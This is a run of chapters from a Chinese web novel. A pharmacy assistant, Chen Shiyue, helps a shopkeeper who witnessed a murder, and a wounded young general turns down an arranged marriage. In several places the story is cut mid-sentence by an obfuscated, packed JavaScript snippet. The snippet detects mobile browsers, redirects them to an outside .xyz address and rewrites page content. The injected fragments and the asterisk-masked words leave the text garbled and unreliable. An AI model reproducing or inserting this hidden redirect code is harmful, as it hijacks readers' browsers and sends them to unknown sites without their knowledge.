陈识月安心的睡觉,那探子什么时候爬出去的都不知道,反正等她一觉睡醒,院子里早就没了人,地上的血水也早就被雨水冲刷干净。 “放心,我还不想**。”长雾已经买了早饭回来,“检查过,没什么异常。” 陈识月点点头,“现在满城都在找**凶手,还是要仔细为好。” “这可不是**凶手。”长雾赶紧解释,“要不然早就丢衙门去了。” 陈识月没说话。 这么肯定? “我有自己的判断。”长雾眼神有些躲闪。 陈识月倒也没拆穿他,这些事情他自己心里清楚就好,她嘛……静观其变就是,谁还没点小心思,谁还没点小九九呢? 不过没关系,长乐门的人找上门,是迟早的事情,并且药效总有过去的时候,但她绝对会比他先恢复记忆。 “我去上工,这些事情你自己处理便好。”陈识月抬步就走。 长雾如释重负的松口气,庆幸陈识月没有多问。 上工便上工吧,蝇营狗苟,谁还不是为了碎银几两? 平安堂刚开门。 掌柜的就回来了,一时间大眼瞪小眼的。 “掌柜的,你现在就回来了?不在衙门里待着了?”伙计不解。 陈识月也觉得奇怪,“安全吗?” “夜里有人护着,自然不担心,白日里……这**的,总不能再来这一遭吧?”掌柜深吸一口气,抬步朝着里面走去,“昨儿个走得匆忙,一应物什都没带,心里委实不舒坦,回家才算自在。” 伙计在后面跟着,“那可不是嘛,衙门又不是好地方,肯定没家里舒服。掌柜的,昨天夜里可还安全?凶手没有追到衙门去吧?” “他敢?!”掌柜哼哼两声,“那可是衙门,多少人等着他呢,但凡他敢露头,绝对让他有去无回,傻子才会跑到衙门去行凶。” 说着,掌柜开始巡视铺子,确定没什么大碍,这才如释重负的松了口气。 “姑娘?”掌柜的低声开口,“那东西还是得弄出来,我等着呢!” 陈识月被他逗笑了,“我还以为掌柜的胆子够大,没想到您还是怕呢?” “性命攸关,哪个不怕?”掌柜不以为意,兀自倒了杯水喝着,“咱就是小老百姓,开个铺子谋生,日子比寻常人好过一些,可这眼睛一闭便是什么都没了。上有老下有小,我若是倒下了,一家子不就全完了吗?” 陈识月觉得也对,“放心,我安排。” “有劳了。”掌柜转身进屋,“我去歇会。” 伙计不解,“掌柜的,你昨晚没睡啊?” “睡个屁,那地方本来就阴气重,躺下又认床,害我睁着眼睛到天亮,委实难受得紧。”掌柜连打哈欠,“我赶紧回来补觉,但愿这天杀的凶手早点被抓住,要不然还不知得折腾我到什么时候?” 陈识月犹豫了一下,“掌柜的,你真的没发现什么吗?” 掌柜进门的动作一顿,“什么意思?” “你若是真的什么都没看见,对方何至于如此穷追不舍?你仔细想想,是不是真的发现了什么?”陈识月皱起眉头看他。 掌柜不说话。 伙计觉得陈识月所言有理,“你要是什么都没看到,人家穷追不舍反而是自投罗网,掌柜的,你可能真的看到了什么,但是没想清楚。” “看到了什么?”掌柜挠挠额头,“不就是**吗?一剑穿心,也没别的了!” 抬眸,瞧着陈识月与伙计二人,直勾勾盯着自己,掌柜也开始自我怀疑了,从事发到现在,他是满脑子的惊恐害怕,反反复复就是“白刀子进红刀子出”的场景。 “别光顾着害怕,还是要想清楚缘由的。这件事本不必如此麻烦,对方也不至于这般赶尽杀绝,除非你真的看到了什么,对方也觉得你可能看到了那些。”陈识月循循善诱。 掌柜沉默着,伙计眼巴巴盯着。 “我……”掌柜坐下来。 陈识月和伙计跟了进去,依旧是眼巴巴的眼神。 “我当时是听到异动走过去的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16429867|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后看到两个人在说话。”掌柜努力回忆当时的场景。 伙计叹气,“您这话,之前都跟衙门的人说过了。” “别打岔,让掌柜好好回想。”陈识月忙道。 于是乎,伙计不敢再多言。 掌柜的努力回忆,“死的那个是尚书大人身边的师爷兼主簿,当时……” 蓦地,掌柜转头看向二人。 “当时怎么了?”伙计耐不住。 掌柜顿了一下,“会不会是因为,对方弯腰行礼的缘故?” 陈识月:“??” “弯腰行礼?行礼又怎么了?”伙计不解。 掌柜到底是生意场上混多了,如今静下心来细细的想,还真是……有点问题。 “那凶手站得笔直,师爷行礼了。”掌柜低声开口,“那就说明,这两个人之中,凶手是处于高位的,并且双方都知道彼此的身份呢?” 陈识月明白了,“不只是熟人,还可能是主仆,或者是上下级。死者知晓凶手的身份,所以当时就行了礼,并且因为相熟而毫无防备,甚至于没把孙尚书的死,跟那凶手联想在一起,说明师爷当时觉得,凶手可能另有其人。” “怀疑到任何人,都没怀疑到眼前人?”掌柜接过话茬,“这是否意味着,有些事情是这凶手以及背后的主谋所为,孙尚书他们只是从旁协助,以为是一条船上的蚂蚱,没想到对方忽然来了个弃车保帅?” 伙计听得脑瓜子嗡嗡的,似乎不太明白,但陈识月听懂了,掌柜也回过味来了。 一时间,房间里安静得可怕。 “你们到底在说什么?”伙计一脸迷茫,“我怎么一点都听不懂?” 掌柜拍了拍他的肩膀,“听不懂就对了,听懂才是真的麻烦。若真的如我现在所猜测的,那可就真的糟糕了。” “那人的身份,怕是不简单,连孙尚书都是小心谨慎的会面,要么身后有大人物,要么自身已经压孙尚书一筹。” 陈识月这话一出口,伙计好像听懂。 “也是官?”伙计哆嗦了一下,“掌柜的,你要不然回老家躲躲吧?越远越好,若然凶手真的在朝为官,且官位甚大,衙门怕是护不住你,你还是跑吧!” 第四百四十三章 一个奇怪的男人 伙计这话是没错的,若凶手真的在朝中为官,那么知府衙门算什么呢?一个平民又算什么呢?何况还是个商贾而已。 掌柜叹口气,当然知道这二人也是为了他的安全着想,可仔细想想,既然自己已经暴露,对方肯定知道他的处境,想杀他几乎是易如反掌。 “咱无权无势,就是有点小钱,能跑哪儿去呢?”掌柜面色灰白,“若对方真的要杀我,两次不成就该换一种方式了,以权**,那才是真的**不见血,甚至于死都不知道**的。” 掌柜看向二人,笑得有些悲凉,“我跑不了了。” “那就一直装傻。”陈识月回答。 掌柜:“??” “不管谁来问,都是原来的话术,只看到了**,别的什么都没看到。”陈识月低声叮嘱,“不仅如此,还得让其他人知道,你只看到了这些。” 掌柜好似明白了什么,“你是说……” “大肆宣扬,大家都知道了这些,那人应该也会听闻,这样一来,他们就没有纠结在你身上的必要,毕竟你也只知道这么多。”陈识月其实也有点紧张。 服软是无可奈何之举。 人嘛,总要活着才有希望。 “这可成吗?”掌柜没有信心。 陈识月深吸一口气,“不管成与不成,总要试一试,难道洗干净脖子,等着人家来摘你脑袋?掌柜的,你自个都说了,咱无权无势的,衙门护得住你一时,护不住你一事,人家什么时候再来,你是防不胜防啊!” “没错,你说的有道理。”掌柜连连点头,“那我……” 陈识月指了指外面,“多去街头走走,多露露脸,多说说,反正对方都知道您是平安堂的掌柜,只要你表现得够坦诚,估摸着就没什么问题了。谁也不想节外生枝!已经折损两个**了,人家也会心疼的,这二人去做点什么不好,非得对付你这么个什么都不知道的人?” “对对对!”掌柜好像吃了一颗定心丸,“姑娘聪慧,我委实没想太多。” 陈识月又道,“那些东西我会尽快做出来,两手准备,万无一失。” “好!” 掌柜的也是这么做的,所以这个时候他得赶紧去实践这个法子,尽早的让自己摆脱这样的噩梦,不过在这之前,他得先休息休息,一晚上提心吊胆的,委实有些扛不住。 伙计就在屋子里看着,以免再生意外。 陈识月也没闲着,赶紧转身去忙活,大家各司其职,各忙各的。 白清舟进来的时候,陈识月愣了一下,转而便缓过神来。 “客官要抓什么药?”陈识月放下手中的活计。 白清舟将方子递过去,“少了两味药,特意来找。” 说着,他也跟着凑过去。 “可好?”白清舟低声问。 陈识月瞧着手中的方子,低低的吐出两个字,“无恙。” 如此,白清舟松了口气,兀自点点头表示放心,其后又道,“这几日城中动荡,万望当心。” “多谢。”陈识月将抓好的药包好,递给了白清舟。 白清舟付了银钱,头也不回的转身离开,瞧着好似没什么不妥。 药铺和医馆息息相关,有时候医馆里药材不全,也都是让人去药铺抓药,尤其是一些不经常用到的药材,医馆不便采入,也不便储存,便都叫人去药铺里采买。 这样的事情,屡见不鲜。 等到午饭的时候,掌柜的已经起来了,这会倒是精神抖擞,说是要去酒楼里好好吃顿饭。 酒楼、客栈这些地方,三教九流最甚,消息最灵通,话也能传得最远,所以去那里吃饭也是极好的,顺道对外面张扬一番,以便于让凶手听到。 掌柜这也是没招了,走的时候还不忘抓了一把石灰粉,兜在纸包里揣怀中,若是真的遇见了什么,也好临危保自己一命。 顺道,带着伙计一起去…… 陈识月留在铺子里看家,瞧着掌柜大摇大摆离去的模样,无奈的笑了笑。 吃过午饭,刚要去后院休息,门外便进来一个人。 陈识月赶紧起身相迎,“客官,是要买什么药吗?” 那人也不着急,就这么目光平静的注视着陈识月。 不知道为何,这双眼睛,这眼神……竟有种莫名的熟悉,似乎是在哪儿见过的?但脑子里想不起来,陈识月便也不敢多问,佯装无事发生。 “你们掌柜在吗?”男人问。 陈识月忙道,“掌柜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16433185|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 出去用饭了,您要什么东西只管同我说,寻常之事我皆可以做主。” “是吗?”男人上下打量着她,“你可以做主?” 陈识月点头,“你需要什么药?” 男人将一张纸放在桌案上,“上面的,都要。” 陈识月伸手接过,其后神情微怔的看向眼前人,“你确定不是来找茬的?” “我是来抓药的,怎么可能是来找茬的?这些药,有则最好,没有我就换一家店,又不是非你们不可,这怎么算是找茬呢?”男人理直气壮。 听着,也是有些道理的。 “人中龙凤,天地玄黄?”陈识月低声念叨两句,“还真是难得啊!” 男人直勾勾的盯着她,扯了扯唇角,“所以,这些药有吗?” “没有。”陈识月抬眸回答。 男人不说话了,还以为她会说有,没想到回答得如此决绝。 “还给你!”陈识月道,“去别的地方看看吧!” 男人伸手接过,“就不考虑一下吗?或者是争取一下?” “开药铺的,对药效什么的,多少是有些了解的。”陈识月盯着他看,终是看出了端倪,“对于某些无礼的要求,还是能拒绝就拒绝吧,以免麻烦。咱是做小本生意的,可经不起别人折腾。” 男人笑了笑,“说不定你家掌柜想做我这单生意呢?” “掌柜如今只想活命,不想折腾。”陈识月看了一眼门口方向,“请吧!不送。” 男人裹了裹后槽牙,长长吐出一口气,终是默默的转身离开。 不多时,陈识月也走了出来,站在铺子门口左右张望。 一颗心七上八下的,总觉得这不是什么好人。 那张方子上写的东西,都是奇奇怪怪的,摆明了来者不善,绝不可能轻易离开,不知道他到底想干什么?是冲着掌柜来的,还是冲着她来的? 是长乐门的人按捺不住了,特意过来试探?还是其他什么事呢? 袖中手,微微蜷握成拳。 街头人潮拥挤,没瞧见那人的身影。 “走得倒是挺快的!”她旋即转身,将那男子所写的方子重新默出来,仔细端详。 嘿,过目不忘就是好! 第四百四十四章 不懂就求外援 默出来之后,陈识月仔细端详,确定没有疏漏,又重新誊抄了一份,其后便找了街边的小乞丐,让人送去了回春堂。 做完这一切,陈识月也没有闲着,继续倒腾她的那些药罐子。 掌柜不是想要点保命的东西吗? 这可是药铺,要什么没有? 如鱼入大海,恣意逍遥。 晌午过后,掌柜和伙计便回来了,一回来就“咕咚”、“咕咚”的喝水,真是一刻都不闲着,可见二人在外面真的忙得嗓子冒烟。 “如何?”陈识月问。 二人连连点头,“应该**不离十了。” “那就好。”陈识月点点头,“不过这几日还是得当心,除非有新的线索出现,否则对方未必会轻易放心。” 掌柜放下杯盏,“我都这把年纪了,还得斗智斗勇,实在是倒霉得很。” “只要能保住性命,这点苦还是值得的。”伙计忙道,“掌柜的,你说那些人应该也知道了,咱是不是可以歇一会了?还要继续去满城里大肆宣扬吗?” 陈识月摁住他,“点到即可,过犹不及。太刻意了,反而不好。” “对!”掌柜点点头,“我也是这么想的,现如今就先等等吧,兴许那些人想明白了,大发慈悲就放过我了呢?” 陈识月又道,“如今得想想,怎么能让府衙那边得到新的线索,把他们的注意力全部都引开,只要没人再留意掌柜这边,或者是那边的消息更能威胁他们,掌柜就彻底安全了,毕竟掌柜没见着人,也没做什么事。” “有道理。”掌柜略显疲惫,“真是倒霉。” 陈识月看了一眼门外,示意伙计看着点,这才将手中的方子递过去,“掌柜的,您平日里有没有得罪过什么人?” “什么?”掌柜没反应。 伸手接过,仔细盘看。 掌柜不明白,“这什么东西?考我文章呢?我是个开药铺的,略懂医术,又不需要考状元,哪儿需要做文章呢?” “一个莫名其妙的人,跑到咱这里,要买这些药。”陈识月努努嘴,“给的就是这张方子。” 掌柜:“??” 脑子有病不去医馆治,跑药铺来干什么? “这方子很是奇怪,瞧着像是做文章,可跑到药铺来,必定别有缘由。”陈识月不急不缓的开口,面上略显无奈,“所以我才问一问,掌柜你有没有得罪过什么人?” 这摆明了是来找麻烦的。 “做生意的,素来以和为贵,但有时候也难免遇见几个难缠的,若说是没有得罪人,那也是不可能的事情。”掌柜努力回想,最后将目光落在手中的方子上,“这方子莫不是有什么玄机?可我也不是读书人,哪儿懂得了这么多呢?要不然,让街头替人写书信的看看?” 陈识月也不懂这些,她是个大夫,又不是书生,读的都是医书,看的也都是医书,其他的还真是知之甚少。 咬文嚼字? 她只能看明白字面意思,其他的……不懂。 两人面面相觑,最后无言以对。 “来的是什么人?”掌柜将方子搁在案头。 陈识月道,“是个年轻的男子,瞧着俊俏,实则戴着假面。” “易容?”掌柜愕然。 这目的性未免太强了些。 “嗯!”陈识月点头,“正因为如此,所以我没有留人,既知对方来意不俗,怕招惹祸端,干脆拒之门外。” 掌柜松了口气,“我就知道没看错你,果然是火眼金睛,一眼就能看出异常。此人不敢用真容示人,只怕是身份不一般,拒之门外是对的,我做个小本生意,可不敢惹祸上身。” 说着,他又看了一眼桌案上的方子。 这方子很是诡异,一看就目的不纯,惹不起还躲不起吗? “若是下次再来,你再赶走他!”掌柜音色微沉,“断不能让咱们陷入某些不知结果的阴谋里,咱可没那侥幸的命。” 陈识月会意,“放心。” “你去忙吧,我歇会。”掌柜叹气。 这都叫什么事? 好端端的,怎么就这么不长眼睛,看到人家**呢? 早知道,当日就绕道走了…… 回春堂。 收到小乞丐给的方子,白清舟给了几个铜板,小乞丐高高兴兴的跑开了。 “什么东西?”白重不解。 白清舟摇摇头,他也不清楚这是什么? “藏头诗啊?”白重问。 白清舟没说话,只是细细端详着手中的方子,看似方子但却不是方子,倒像是……奇怪的暗示?可仔细瞧着,也没有藏头诗的迹象。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16440545|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 真是奇怪。 “药方?”白重不解。 白清舟摇摇头,“看不太明白,什么人中龙凤,天地玄黄?” “可能是胡咧咧的,想要**的?”白重接过,仔细看了看,的确也没看出端倪,“小丫头玩的什么哑谜呢?” 平安堂送出来的,应该是药方。 可这是哪门子药方呢? 父子二人,大眼瞪小眼。 委实不明所以。 “回头我找同门师兄弟看看。”白清舟拿起方子朝着案台走去,“爹,我誊写一份留给你。” 白重颔首,“好。” 陈识月素来行为谨慎,定然是发现了这里有点异常,自己拿不定主意,才会送出来让他们参谋参谋,以免判断错误。 “要小心,不要见人就问。”白清舟觉得这里面有点阴谋的气味,“这东西怕是有什么用处的?” 药未必能抓到,但人肯定会抓住。 不得不防! 白重若有所思,没有多说什么。 最近是多事之秋,小心无大过。 午后一场雨,天色便渐暗。 一场秋雨一场寒,越往后越凉意瘆人。 虽然城内氛围紧张,但到底也是有好消息的,比如说……林序有动静了,不似之前那般,一直昏迷不醒,终是有了要醒来的反应。 霍青行守在了床边,瞧着林序消瘦的面颊,一颗心提到了嗓子眼,“林序?林序?” 眼皮子下的眼珠子,微微转动了一下。 “少将军,他好像能听到。”老管家欣喜若狂,“他有反应了。” 之前失血过多,只吊着一口气。 如今好像是真的活过来了! “林序?”霍青行又喊了两声。 林序的嗓子里,忽然发出了哼哼两声,似乎是作为回应? “林序!”霍青行长长吐出一口气,“谢天谢地,臭小子!” 还活着! 还活着就好! 府医从外面进来,将手里的药箱放下,便赶紧为林序把脉,好半晌没说话。 “如何?”管家追问。 府医如释重负,“这两日应该就能醒,这小子真是命大,伤得这么重,流了这么多的血,居然还能活下来,大难不死必有后福。” 第四百四十五章 这就是丞相府的教养? 林序有了反应,只是一时间还没能彻底清醒,但有一点可以肯定,他不会死,他还能活,且继续活着。 “这些日子没你在我耳边叽叽喳喳的,还真是不习惯了。”霍青行幽然叹口气。 林序没清醒,但是已经有了反应,这状况是极好的。 “对了,安信那边如何?”霍青行问。 府医摇摇头,管家也沉默。 安信的伤也是极重,整个人都残缺了,吊着一口气已经不容易,想要彻底清醒过来还真的不容易,连回春堂的白大夫都特意去看过,拼尽一身医术怕也只能是吊着一口气。 “白大夫说了,需要很长的一段时间疗养,慢慢的治伤,才有可能稍稍恢复,但是残缺的身子是补不回来了,而且……”管家顿了顿。 有些话似乎也不必多说。 伤成这样,就算是救回来也活不了太久,以后活着的每一天,对与安信来说都是残忍与痛苦,他如今意识全无倒也罢了,来日稍微好转,恢复了些许意识,怕是会更痛苦。 “我知道。”霍青行音色低沉。 现如今这样的状况,只能等待,就是不知道要等待多久? 屋内,再度安静下来。 唯有林序,还在哼哼唧唧的发出声响。 不过没关系,很快了…… 霍青行刚回到房间,外头又闹起来,管家赶紧去看看情况,也不知道究竟出了什么事? 谁知…… “霍哥哥?” 管家脑瓜子嗡的一声炸开,得,又是她。 “姑娘,杨姑娘!”管家赶紧与门房一道拦住她,“少将军喝了药正在休息,请您莫要打扰。” 这一次杨**是有备而来,“我可是奉命而来。” “奉命?”管家一怔,狐疑的望着她,“此话何意?” 杨**手中拿着令牌,管家慌忙躬身退后。 “皇上的令牌。”杨**轻嗤,“你们还想拦着吗?” 管家瞧着那金灿灿的令牌,自然是不敢拦着,但这心里憋着一口气,真是越想越不痛快,可又不敢表现出来。 大不敬之罪可不是小事,万一给将军府招灾,那就更了不得了! 虽然不知道杨**怎么拿到这令牌的,但帝王龙威不可犯。 杨**大摇大摆的走了进去,脑袋扬得高高的,就跟斗胜的公鸡一般,径直朝着霍青行的院子走去,看她如此模样,倒是熟门熟路得很? 管家眯了眯眸子,家里出贼了不成? 这么熟? 心中有疑虑,此后管家看着杨**的一举一动,便是愈发的生疑,但凡跟杨**有过神色交流的,都被管家一一看在眼里。 不过,进来又如何? 进了内院也得少将军允准,才能进少将军的房间,管家偏不信了,一个姑娘家,还能如此恬不知耻?连外男的房间也敢闯? 事实证明,管家好像又失算了。 杨**不是寻常人家的姑娘,手里还拿着帝王的金令,闯进来直接敲门。 管家看得一愣一愣的,这便是丞相府的教养? 丞相府教出来的姑娘,如此不知礼数? “霍哥哥?”杨**连喊两声,“霍哥哥,我来看看你。” 管家:“??” 把睡着的人吵醒,也算是来瞧病的? 真是滑稽可笑。 内里,没有动静。 杨**有些着急,“霍哥哥?” “滚!”忽然间的“砰”的一声响,伴随着瓷盏砸在门面上,落地的声音,惊得杨**险些跳脚,所幸身边的丫鬟扶了一把,这才没让她摔下台阶去。 动静不小,吓得不轻。 杨**的脸色很难看,但却不是个被吓一下就能退缩的性子,始终站在门口不走,“霍哥哥,皇上口谕。” 管家:“??” 还有这一出? 若是别的也就罢了,皇上口谕,谁敢不从? 四下安静了一瞬,不多时便听得房门打开的声音。 管家慌忙上前,“少将军?” 旋即搀着霍青行回到床榻,临了还不忘目光责怪的瞥了杨**一眼。 乍见着霍青行如此虚弱的模样,杨**神情微怔,瞧着似乎有几分愧疚之色,慌忙上前想要搀扶,却被管家转个身用脊背挡住了。 “少将军,慢点。”待搀着霍青行坐回了床榻,管家赶紧给他掖好被子。 屋子里弥漫着浓烈的药味,杨**的神情略显不自在。 “霍哥哥?”杨**有些担忧,“你还好吗?” 霍青行靠在软垫上,脸色苍白,说话间还 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444250|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 带着明显的虚弱,“杨姑娘,有话就直说。” 简而言之,他不想跟她废话。 “我没想到霍哥哥你真的在休息,我还以为……还以为你只是单纯的不想见我。”杨**小声嘟哝,“霍哥哥,你的伤可有好些?” 霍青行不答。 “杨姑娘少踹几次门,少将军就会好得快些!”老管家毫不留情的回答。 杨**:“……” “你有皇上口谕?”霍青行问。 杨**点点头。 闻言,霍青行掀开被褥,刚要起来接口谕,却被杨**快速摁住,“霍哥哥不必起来了,皇上就是问了两句话而已。” 霍青行不解,“什么话?” “霍哥哥可有意中人?”杨**开口。 霍青行不答。 “若是霍哥哥有意中人,此番霍哥哥一直久伤不愈,皇上可以赐婚冲喜。”最后两个字,杨**说得很轻,却自己闹个大红脸,连带着耳根子一道滚烫发红。 如此,还什么不明白的? 霍青行沉着脸,管家也下意识的唇瓣紧抿。 这可不是什么好事。 皇帝是发现了什么? 还是想做点什么? 让杨家和霍家联姻? “此事我会亲自入宫向皇上言明,就不劳烦杨姑娘回禀了。”霍青行有气无力的开口,“没什么事,杨姑娘还是请回吧!上次我已经把话说得很清楚,想来也不需要我重复提及,对杨姑娘对我都没有好处。大家各自退回原来的位置,对彼此都有好。” 杨**面色微白,这是要跟他划清界限,“霍哥哥此前救过我。” “若杨姑娘真的念及救命之恩,烦劳以后与我保持距离,这便是对我最好的回报。”霍青行言语间毫不留情,“杨姑娘,你我男女有别,有时候莫要太过亲昵,我对你无意,你也莫要生出旁的心思。我霍家的儿媳妇,是要跟着上战场的,而不是直闯他人庭院的本事。” 杨**张了张嘴,嗓子里堵着棉花,愣是吐不出半句,皇帝交代过,若是霍青行有片刻迟疑也好,那就说明他还是犹豫考虑过她的。 可现在…… 霍青行将话说得明明白白,哪儿还有半点转圜的余地? “少将军好好休息吧!”管家急忙打圆场。 第四百四十六章 你不会真的动心了吧? 霍青行没有再说话,也没有再理睬杨**,那一副清冷孤傲模样,颇有些拒人千里的意味,尤其是针对杨**。 像是忽然泄了气的皮球,杨**所有的话都卡在了嗓子眼里,愣是吐不出半句。 霍青行的态度就摆在那里,明眼人都看得出来。 神女有梦,襄王无意。 奈何? 杨**是兴冲冲闯入将军府,耷拉着脑袋离开大门的。 马车在外面候着,车夫和等候的奴才各个大气不敢出,瞧着自家小姐如此模样,饶是傻子也猜到了一二,这个时候谁还敢往前凑? 这不是触霉头吗? “看样子,是被拒绝了。”车内坐着杨明放,见着自家妹妹如此萎靡,便已经猜到了答案,“拒绝又如何?我丞相府的姑娘,又不是嫁不出去,何苦非要在一棵树上吊死?慧慧,你该不会真的如此死心眼吧?虽然霍青行容貌还算俊俏,但金都城内贵家子弟,又不是没有俊俏之色。” 杨**白了他一眼,气呼呼的别开头,看向窗外不看他。 见此情形,杨明放先是一愣,其后不由自主的笑出声来,“不是吧,真的情根深种?小姑娘家家的心思可真是难懂,才见过几次面,何至于弄得如此情深模样?不会因为,他救过你,所以你早就芳心暗许,一直在等着他回朝的时机?” 这么一说,好像就能说得通,为什么杨**如今这般激动? 人在心愿得偿的前夕,总会格外的振奋,所行之事也都会与寻常不同,往日里即便刁蛮跋扈,杨**也没有擅闯人家府邸,非要见人一面的冲动,可如今……恨不能扎根在将军府,日日盯着将军府的消息。 “慧慧?”杨明放有些不敢置信,“你真的动心了?” 杨**白他一眼,眼底明显有些泪光。 “你这……”杨明放忽然有些感慨,“何必呢?” 杨**还是不说话。 “唉!”杨明放叹口气,“你也看到了父亲和母亲的结果,对我们这样的人家来说,情爱不是什么好东西,相反的,那可能是催命符。你若是一时兴起也就罢了,若是真的情根深种,那就真的不是什么好事情了。” 杨**始终沉默,杨明放也不再多言。 待马车离开,确定人真的走了,老管家赶紧回去。 霍青行靠在那里,瞧着老管家急急忙忙的赶回来,“走了?” “走了。”老管家连连点头,“只是这杨姑娘未免也太直白了点,什么话都敢往外说,这还是大家闺秀,名门之女吗?” 霍青行不说话,只觉得厌恶。 丞相府这些年可没少干那些龌龊事,原本也是寒门子弟,怎么爬到了上面反而就一身脏了呢?忘了来时路,忘了曾经的初衷? 信誓旦旦,要为民做主。 最后呢? 如今呢? 怕是全都忘了。 “少将军,我觉得她此番前来怕是……怕是皇帝有了联姻的念头。”老管家在金都城这么久,守着将军府,自然是有眼力见的。 霍青行看向他,“霍家不参与皇位之争,也不站任何阵营,皇帝若是联姻,岂非是强势拉我霍家站队?按理说不至于如此。” “皇帝这些年虽然也一直勤于朝政,但也免不得……寻仙问药,吃了不少丹药。”老管家压低了声音,凑近了开口,“身子大不如前了。” 霍青行眉心微拧,大概能理解老管家的意思。 “太子和诸位皇子之争,其实也算是摆在明面上的,但皇帝不吱声,大家都各有各自的猜测,但丞相府一直保持中立,既不站在太子,也不站其他皇子,瞧着是为皇上效力。”老管家将局势细说。 守住将军府的前提,就是对朝局的敏锐,确保主子能避开一些不必要的麻烦,还有……天子脚下,时刻保持警戒。 “为皇帝效力?那就是说,皇帝忌惮太子,也防着诸位皇子。”霍青行有些不解,“那皇帝到底想干什么呢?” 人都有生老病死的时候,即便是皇帝也不例外,那他死拽着皇位不放作甚?终究是要交下去的,早晚会有皇子继位。 只不过在那之前,皇帝厌恶所有的皇子惦记自己的位置,每每想起,总觉得自己快要**,好像真的要**,谁抢他的皇位,谁就是在诅咒他这个皇帝。 自古无情帝王家,想来就是因为如此。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16449735|167666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“不过,若皇帝真的想两家联姻,这里面会不会有点别的什么?”管家小声嘟囔,“明知道老主子和少将军您都不想留在金都,也无心权力之争,怎么还想如何?是想让霍家和丞相府脸上,牵制太师府庞家?还是有别的用处?” “现在猜测还为时太早。”霍青行回过神来,“毕竟皇帝还没下旨,这件事就只是猜测,不过也得有所准备,不能平白让人坑了。” 若是真的要联姻,这里面定有大阴谋…… “书信一封,提前告知父亲,哪怕是猜测,也得做好应对。”霍青行有气无力的叮嘱。 管家行礼,“是!” “平安堂那边也要盯着,千万不要让她出事。”霍青行靠在那里,“待找个机会,与她聊聊,让她去看看安信,说不定……会有奇迹呢?” 白重那边也是束手无策,伤得太重,只能慢慢调养。 可霍青行不甘心,但城内却不敢找大夫,但凡有人知晓安信被安置在何处,长乐门的人就会像极了令人厌恶的老鼠,到处窜出来。 只是现在,陈识月想不起来那些事,也不知道她还记不记得自己的医术?这是霍青行所担心的事情,若是不记得,找她也枉然。 但若是记得,那可能还会有奇迹吧! “是!” 管家出去,霍青行长长吐出一口气。 后院的护卫一个接一个的苏醒,没死的都撑过来了,只是心里仍是不甘,那么多弟兄都死在山里,这笔账必须要还。 长乐门肯定要跑路,但为什么还要进入山中等着中他们的陷阱? 既然摸清楚了山里的状况,那就等在出口位置,守株待兔不好吗?来一个收拾一个,顺道将他们送出来、或者是送进去的东西劫走,尽量避免自家人员的伤亡。 只要不起正面冲突,到处杀他们一个措手不及,让他们人心惶惶…… 听闻杨家姑娘哭丧着脸从将军府出去,金都城内便传出了不少流言蜚语,有人想着两家好事将近?又或者是撕破了脸? 各种猜测都有,最后也不知道哪个是真的? 心头乱跳,陈识月觉得莫名心慌,恍惚觉得好似要出什么事…… 第四百四十七章 人在哪?将军府! 下工的时候,陈识月还有些神情恍惚,脑瓜子有些嗡嗡的疼,不知道是不是惹了风寒?又或者是最近没休息好,所以才会不舒坦。 “姑娘?”伙计凑上来,“你的脸色不太好?” 瞧着有些苍白,与寻常不同,一眼就能看出不太舒服的样子。 陈识月摇摇头,“不妨事,可能是没休息好,也可能是夜里着凉了,我到时候吃一副药就好。” “自个当心。”伙计点点头,“不能大意。” 